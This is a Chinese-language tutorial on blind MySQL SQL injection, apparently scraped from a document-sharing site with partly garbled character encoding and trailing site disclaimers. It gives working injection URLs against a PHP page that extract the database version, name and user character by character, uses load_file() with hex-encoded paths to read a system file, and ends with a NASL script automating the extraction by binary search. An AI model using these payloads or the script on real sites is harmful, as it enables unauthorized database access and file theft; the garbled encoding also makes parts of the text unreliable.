版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)
文檔簡介
1、<p> Mysql 經(jīng)典注射</p><p><b> 前言:</b></p><p> mysql 4.0 之前的版本不支持 union 語句,所以 mysql 4.0 之前的版本的注射和其他版本的Mysql 注射有很大的區(qū)別。Mysql 4.0 及其之后的版本的注射大多數(shù)是利用union 聯(lián)合查詢來實現(xiàn)的,這種方法速度快,經(jīng)典注射的方法在4.0
2、及其版本的 mysql也是可行的,但由于其方法復(fù)雜而不推薦使用。</p><p><b> 實現(xiàn):</b></p><p> 當(dāng)然首先要有一個注入點。</p><p> 發(fā)現(xiàn)內(nèi)網(wǎng) http://192.168.0.1 special_view.php 存在注入漏洞。</p><p><b> 源代碼如下
3、:</b></p><p><b> Id 沒有過濾。</b></p><p> 因此 http://192.168.0.1/special_view.php?id=16 [sql injection statement] 即可實現(xiàn)注入。</p><p><b> 1.猜解版本</b></p>
4、<p> 查詢 mysql 版本的sql語句:</p><p> SELECT version();</p><p> 我們可以構(gòu)造以下的url 進(jìn)行猜解:</p><p> http://192.168.0.1/special_view.php?id=16%20and%20ascii(mid(version(),1,1))>96<
5、/p><p> 上面的url 是猜版本號的第一位,我們用瀏覽器打開它時,myql 數(shù)據(jù)庫中執(zhí)行了下面語句:</p><p> select * from special where id=16 and ascii(mid(version(),1,1))>96</p><p> 我們知道 mysql 的版本號的第一位是3,3的ascii 碼是51 因此上面的
6、語句為假,沒有查詢到任何結(jié)果。瀏覽器打開該url的結(jié)果如下:</p><p> 而 http://192.168.0.1/special_view.php?id=16%20and%20ascii(mid(version(),1,1))<96</p><p> 就不同了,在 mysql數(shù)據(jù)庫中執(zhí)行下面的語句:</p><p> select * from
7、 special where id=16 and ascii(mid(version(),1,1))<96</p><p> 因為3 的ascii 碼小于96所有上面的語句為真,執(zhí)行的結(jié)果如下。</p><p> 因此瀏覽器就返回了正確的頁面。</p><p> 同理,我們就可以猜解版本號的第2位,第3位。。。</p><p>
8、 http://192.168.0.1/special_view.php?id=16%20and%20ascii(mid(version(),2,1))<96</p><p><b> 。。。</b></p><p> 2. 猜解數(shù)據(jù)庫名:</p><p> 查詢數(shù)據(jù)庫名是sql 語句:</p><p>
9、SELECT database()</p><p><b> 在瀏覽器中打開 </b></p><p> http://192.168.0.1/special_view.php?id=16%20and%20ascii(mid(database(),1,1))<96</p><p> 也就執(zhí)行了下面的語句:</p>&l
10、t;p> select * from special where id=16 and ascii(mid(database(),1,1))<96</p><p> 因為i 的accii碼 105大于96,所以上面的語句為假,執(zhí)行后查詢不到任何結(jié)果。瀏覽器返回如下:</p><p><b> 在瀏覽器中打開</b></p><p&
11、gt; http://192.168.0.1/special_view.php?id=16%20and%20ascii(mid(database(),1,1))>96 即在mysql 數(shù)據(jù)庫里執(zhí)行:</p><p> select * from special where id=16 and ascii(mid(database(),1,1))>96</p><p>
12、因為i 的accii碼 105大于96 , 所以上面的語句為真,myql 數(shù)據(jù)庫執(zhí)行結(jié)果如下:</p><p> 在瀏覽器中打開結(jié)果如下:</p><p><b> 3. 猜數(shù)據(jù)庫用戶</b></p><p> 原理和上面猜myql 的版本和數(shù)據(jù)庫名是一樣的。只不過利用的函數(shù)是 user()</p><p> 查
13、詢數(shù)據(jù)庫用戶名的 sql 語句:</p><p> SELECT user()</p><p><b> 構(gòu)造 </b></p><p> http://192.168.0.1/special_view.php?id=16%20and%20ascii(mid(user(),1,1))>96</p><p>
14、 等語句就可以實現(xiàn)對數(shù)據(jù)用戶名的猜解,相當(dāng)執(zhí)行了下面語句:</p><p> select * from special where id=16 and ascii(mid(user(),1,1))>96</p><p><b> 4. 讀文件</b></p><p> 讀 ‘c:\boot.ini’ 文件的sql 語句:<
15、/p><p> SELECT load_file(‘c:/boot.ini’) 為了避開單引號,采取以下兩種方式。</p><p> SELECT load_file(char(99,58,92,98,111,111,116,46,105,110,105)) 或者</p><p> SELECT load_file(0x633A5C626F6F742E696E69
16、)</p><p> http://192.168.0.1/special_view.php?id=16%20and%20ascii(mid(load_file(0x633A2F626F6F742E696E69),1,1))>96</p><p> 在瀏覽器中打開這個url,就在myql 數(shù)據(jù)庫里執(zhí)行了下面語句:</p><p> select * fr
17、om special where id=16 and ascii(mid(load_file(0x633A2F626F6F742E696E69),1,1))>96</p><p> 因為 [ 的 ascii 碼為91 小于96 因此上面的語句為假,查詢不到任何結(jié)果。</p><p><b> 而在瀏覽器里打開 </b></p><p&g
18、t; http://192.168.0.1/special_view.php?id=16%20and%20ascii(mid(load_file(0x633A2F626F6F742E696E69),1,1))<96</p><p> 在mysql 數(shù)據(jù)庫里執(zhí)行了下面語句:</p><p> select * from special where id=16 and ascii
19、(mid(load_file(0x633A2F626F6F742E696E69),1,1))<96</p><p><b> 執(zhí)行的結(jié)果如下:</b></p><p> Nasl 腳本簡單實現(xiàn)猜解 mysql 版本:</p><p> include("http_func.inc");</p>&l
20、t;p> include("http_keepalive.inc");</p><p> port = 80;</p><p> soc = http_open_socket(port);</p><p> Ori_url = "/special_view.php?id=16";</p><p
21、> req = http_get(item:Ori_url,port:80);</p><p> r = http_keepalive_send_recv(port:80, data:req);</p><p> if ("200 OK" >!< r)</p><p><b> exit(0);</b&g
22、t;</p><p> flag = strlen(r);</p><p><b> # 猜版本號長度</b></p><p> for(i=1;i<30;i++)</p><p><b> {</b></p><p> url = "/specia
23、l_view.php?id=16%20and%20length(version())=" + i;</p><p> req_length = http_get(item:url,port:80);</p><p> length_recv = http_keepalive_send_recv(port:80, data:req_length);</p><
24、;p> if ("200 OK" >< length_recv)</p><p><b> {</b></p><p> if(flag == strlen(length_recv))</p><p><b> {</b></p><p> displ
25、ay("length:",i,"\n");</p><p> version_len = i;</p><p><b> break;</b></p><p><b> }</b></p><p><b> }</b></p
26、><p><b> }</b></p><p><b> # 猜版本號內(nèi)容</b></p><p> #display(version_len,"\n");</p><p> display("version:");</p><p>
27、; for (i =1; i<(version_len+1); i++)</p><p><b> {</b></p><p> high =128;</p><p><b> low = 0;</b></p><p> while(low<=high)</p>
28、<p><b> {</b></p><p> mid = (high+low)/2;</p><p> content_length = "/special_view.php?id=16%20and%20ascii(mid(version(),"+ i +",1))="+mid;</p><
29、p> #display(content_length,"\n");</p><p> req = http_get(item:content_length,port:80);</p><p> recv = http_keepalive_send_recv(port:80,data:req);</p><p> if ("
30、200 OK" >< recv)</p><p><b> {</b></p><p> if(strlen(recv)== flag)</p><p><b> {</b></p><p> finalvalue = raw_string(mid);</p>
31、;<p> display(finalvalue);</p><p><b> break;</b></p><p><b> }</b></p><p><b> }</b></p><p> content_length = "/speci
32、al_view.php?id=16%20and%20ascii(mid(version(),"+ i +",1))>"+mid;</p><p> req = http_get(item:content_length,port:80);</p><p> recv = http_keepalive_send_recv(port:80,data:req
33、);</p><p> if ("200 OK" >< recv)</p><p><b> {</b></p><p> if(strlen(recv)== flag)</p><p> low=mid+1;</p><p><b> }<
34、;/b></p><p> content_length = "/special_view.php?id=16%20and%20ascii(mid(version(),"+ i +",1))<"+mid;</p><p> req = http_get(item:content_length,port:80);</p>
35、<p> recv = http_keepalive_send_recv(port:80,data:req);</p><p> if ("200 OK" >< recv)</p><p><b> {</b></p><p> if(strlen(recv)== flag)</p>
36、<p> high=mid-1;</p><p><b> }</b></p><p><b> }</b></p><p> if(low > high)</p><p><b> {</b></p><p> disp
37、lay("The content is not between Ascii 1-128, \nthis complier desn't support Chinese word ! \n I'm sorry!\n");</p><p><b> exit(0);</b></p><p><b> }</b>
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 眾賞文庫僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
評論
0/150
提交評論